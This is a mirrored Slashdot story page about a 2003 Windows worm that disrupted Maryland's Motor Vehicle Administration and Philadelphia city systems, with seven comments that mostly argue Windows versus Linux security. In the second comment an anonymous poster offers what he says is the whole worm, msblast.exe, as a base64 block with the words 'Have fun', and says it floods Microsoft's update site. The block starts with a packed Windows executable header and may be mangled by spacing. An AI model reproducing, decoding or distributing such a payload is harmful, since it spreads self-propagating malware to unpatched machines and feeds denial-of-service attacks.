Slashdot Mirror

← Back to Stories (view on slashdot.org)

Windows Virus Takes Out Gov't Agencies in MD, PA

Posted by michael on from the no-great-loss dept.

Zolzar writes "Looks like the Md. State Motor Vehicles Administration is the first government agency reporting a failure of their systems due to the recent virus." This is a more specific story about the outage. And the city of Philadelphia has suffered as well.

7 of 984 comments (clear)

  1. Re:People should start taking note by EverStoned · · Score: 1, Troll

    Don't try and defend this with Microsoft-bashing. What he's done is illegal and dangerous. Mod me down, fascists.

  2. Here's the virus by Anonymous Coward · · Score: 0, Troll

    Here's the entire virus, base64 encoded. Have fun. It floods microsoft.com/windowsupdate.com starting saturday.

    begin-base64 600 msblast.exe
    TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAA AAAAAAAAAAAAA AAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIb gBTM0hVGhpcy Bwcm9ncmFt
    IGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ 0KJAAAAAAAAA BQRQAATAED
    ACp8Nz8AAAAAAAAAAOAADwELAQI3ACAAAAAQAA AAUAAA8HEAAA BgAAAAgAAA
    AABAAAAQAAAAAgAAAQAAAAAAAAAEAAAAAAAAAA CQAAAAEAAAAA AAAAIAAAAA
    ABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAA AAAACAAABIAQ AAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAFAAAA AQAAAAAAAAAA IAAAAAAAAA
    AAAAAAAAAIAAAOBVUFgxAAAAAAAgAAAAYAAAAB QAAAACAAAAAA AAAAAAAAAA
    AABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAFg AAAAAAAAAAAA AAAAAAQAAA
    wDEuMjIAVVBYIQwJAgnH/kZfgu7TdDBUAADREQ AAICwAACYBAD 3+//L/McBA
    i0wkBPdBBAYAdA+LRCQIi1QkEIkCuAO5/3fvEM NTVlcSEFBq/m gAEEAAZP81
    Ff/b3bkGiSUZIItYL3AMg/7/dCA7dH/Z3P8kJH QajTR2iwyzVB dIfLMEAHXX
    d/+///9Uswjr0WSPBTWDxAxfXlvDVYnlXFVqAL 77724BaJJa/3 UI6AEAE0Bd
    HInsXcP8e/v/7iCD7Agji10Mi0UIozBAJYkdNA V7az+290CudX KJRfgZrEX8
    oxb7d/vtjQ2JQ/yLcy17CJFijQx2ge7W/mWPdD pWVY1rEIYLXV 5NW7bW/QnA
    dCh4MSVTcpF2BB33u2WsVgwcCDaLBI+LQwwwvw v/XAglDzSP66 ws63FHav92
    3dthKgy8xwUQeguOagtz2M3sQBQYX3UhGQi37w 7ICAe4OwDrJ4 P4oSpQLhv2
    ClAkHg0Aug8h5pQoD4M9LBoAz97ewz7ooQ5y/+ BYENdkod0Mh6 FdNZ5oHBtV
    sxCEZppQqkkQI7j/f4ll6FDZPCRmgQwkAAPZLC Rjfyhee/Z9Li QEIH4ToIkU
    z7YX2QUkFkgUHBJQ1/H3bzcYMcmJTfxQKrjJwx GjZYc3x9/Dfo HsrDpsMfZq
    ke+OubtQXz8AD2ZqXUhlAgAAgJ4d3z+IajJoPM YBBElI+L7ZB3 uUB3xoQ0gd
    DUzhxx7+BAQ9t/kHEhLUjYVg6GvYuXb/UFFSEB H82i8ULcglDw EBGkz37Y1h
    ESLI/+kLBWxoBCexN+Y2+TBpZxC328ZjW8MSRK 8MGk5HE1jrkf v7O/slLDFA
    DTQhFDBZBQy5/pV7Ye6/mff5iddHiT0UShUVOD U+07mSQaSG/I TkuU/YOwEP
    hPAAFMyJhVwL2D6ZrXcZ1kM5AAvKB9k2/kUEi0 CSMCxUE+hbYf ve/7ULN3ju
    QCtJvZzs/T1XfSRoPhBaFEjeex+2WDmsoyiRIf SFFfLIHBAw/E p4c6U8ijy9
    FH4fCA/f9+QUKRUjoWWjD6EK2zh8UqMGF0Y1D7 fUfoP6DH0CID k0KNZz9iFn
    HQoHfgobAlPySngJ9nU8fCgxELDwWwmPnGoD5v QYrY+3Njzmmg koVLyULN/4
    GPA6Lx/2byMDWfwPfw+NffBXDgh+Fvtmxx40L8 EeOBtwBHqp9b 0Hc+v5PwhA
    zMnCEMnN5E4lLFWT6zhAOPzQujICAczAoyRgQf ij+x5FGWqRhd j9gX/b2K70
    d2bHDwIbRTBUicKaOXf3ZomV2hGDpdwFMjAzO7 7nX0oj2FOF9j rZRrpm+BAJ
    jVAG6CbsGN25BKHU+ziETqd334gBD4y8LzHbaD e/K9B87PqJ0L KJxqueQ5a7
    uaw3i/yJ2CWKg0yn5rIV/lYH1Bcog9zRAP7cxM eDbJO9xscEz5 CPV8T8g/Td
    haiLfCJohAORgaYbv7//snMLVg3EWTrrBdM6Fu zGBkgbdA4TEQ WIzrrMXLk4
    QErwQuCcLhQelFuVjYE927b5nX4ifg/nLQUw6w gHLIdszyxHIj A7MBnk9phe
    GBAwIiHbI3IQMIoxKOQYP8sHKOuWwwCMARDGiv BFkP12lOFOcL cWDNpohxo/
    xvggHV91ljH/JQGJRL2wG6ajNd8DJli0kP9agy 9+ZgSAVxMzYE eD/9vZHuUU
    fM6DwzUFMA9jnSMQMAQr0gAP6yBIIxMYDBFs7T XGElmshfmKC+ Rgr20OmKak
    YRIU27cgfKBoCAePa4NlpAADqPvTGS6leN4GdO sZi7UIjb379o tcODmctXwK
    dBT/hRKF2wM79ig5C3LZDXUcfEAtdnLZcxc5if 8jhz4ivdOkUB cLdx+QsfAh
    bH0LAPDrOUWMyVxHi+kG5nw7uzjYBLYgX4A5EQ kl3MZL5s462f UuMcNZPzwe
    sbg0KQe0tRNeMzfX8OpTBnasEocXwXWpvdtuqU E4aOwcnRML68 fN7ZMKn3UY
    Mr2kjTXAjjSf2265EpvzpRJE5whB2IM0n4Po7W hEBAg8B3me53 gP9Oq00nwO
    8rPY5oBHDA3O1iA4puw6NbptyBjrkNAnzGIlu3 cu9WADgiEA8O v4fuX87xyB
    hYxmY4vv94p8XQkFColoHHJgb7A5BS4+cA57ka 1WzKomcOTWdE g8BgE8Iw

  3. Good thing that no serious company uses Windows by Anonymous Coward · · Score: 1, Troll

    I mean... who on Earth would expose a Windows machine to the internet...

    Troll or not... it seems to be just common sense with 8 years of data to back it up.

  4. Windows insecure? by nebby · · Score: 1, Troll

    I fail to see how issues like this show that windows is fundamentally insecure.

    - The patch came out a month ago.
    - They have 90% of the marketshare, so one would assume that 90% of the viruses created are written to target exploits on Windows.
    - They have 90% of the marketshare, so one would assume that people who spend their time looking for security holes will spend 90% looking at Windows.

    If Linux had 90% marketshare and was used mostly by people who don't patch, like Windows is, I fail to see how architectually Linux would be more immune to this type of attack than Windows is. The reason this doesn't happen with Linux is not because it's oh so superior to Windows software wise but because it's used by less people (less rate of infection, less motivation for hackers to write viruses), and the people who use it are competent enough with computers to make sure their stuff is patched and healthy.

    The people who run Linux at home or in the office didn't get this virus because their Windows machines were patched. Why do you think that is?

    --
    --
  5. Re:Patches were *not* available on the update page by LibertineR · · Score: 0, Troll

    Yes they were, you should be fired.

  6. In this age by Bruha · · Score: 0, Troll

    Viruses are no longer spread by floppy disks but instead come into your computers.

    Phily may blame Symantec for the virus but are they truely responsible? I doubt it. More the blame should be pointed to their cheif of IT for allowing those specific ports to be open.

    Any IT cheif worth his money would know the advantage of having all outside network facing machines not run any MicroSoft OS and instead rely on Linux to handle those functions thus providing a barrier beyond the firewalls to keep viruses out. In today's age it's just not a good idea to have any MicroSoft equipment as any network edge service.

    Also it's obvious that the line by line review of the OS code has done nothing to alleviate these problems. This is the 3rd virus in the last 2 weeks to hit Windows and many times the AV companies take upwards of 24 hours to produce new definitions to block the viruses themselves.

  7. A What? by Ridgelift · · Score: 0, Troll

    Zzzzz...nnngg...huh? wh...What? A virus?

    Oh, never mind. I switched all of our company's systems over to Linux months ago. I can rest in the fact that the world around me may be burning down from another brain dead defect in Microsoft's crap code, but I am blissfully unaffected because Linux is secure.

    Yeah, that's right, secure. For those of you who say Linux is just as bad as Windows, you keep telling yourself that tonight when you're up patching systems.

    (sigh) Hmm. I wonder what's on TV tonight?

    --
    Ruby on Rails Screencast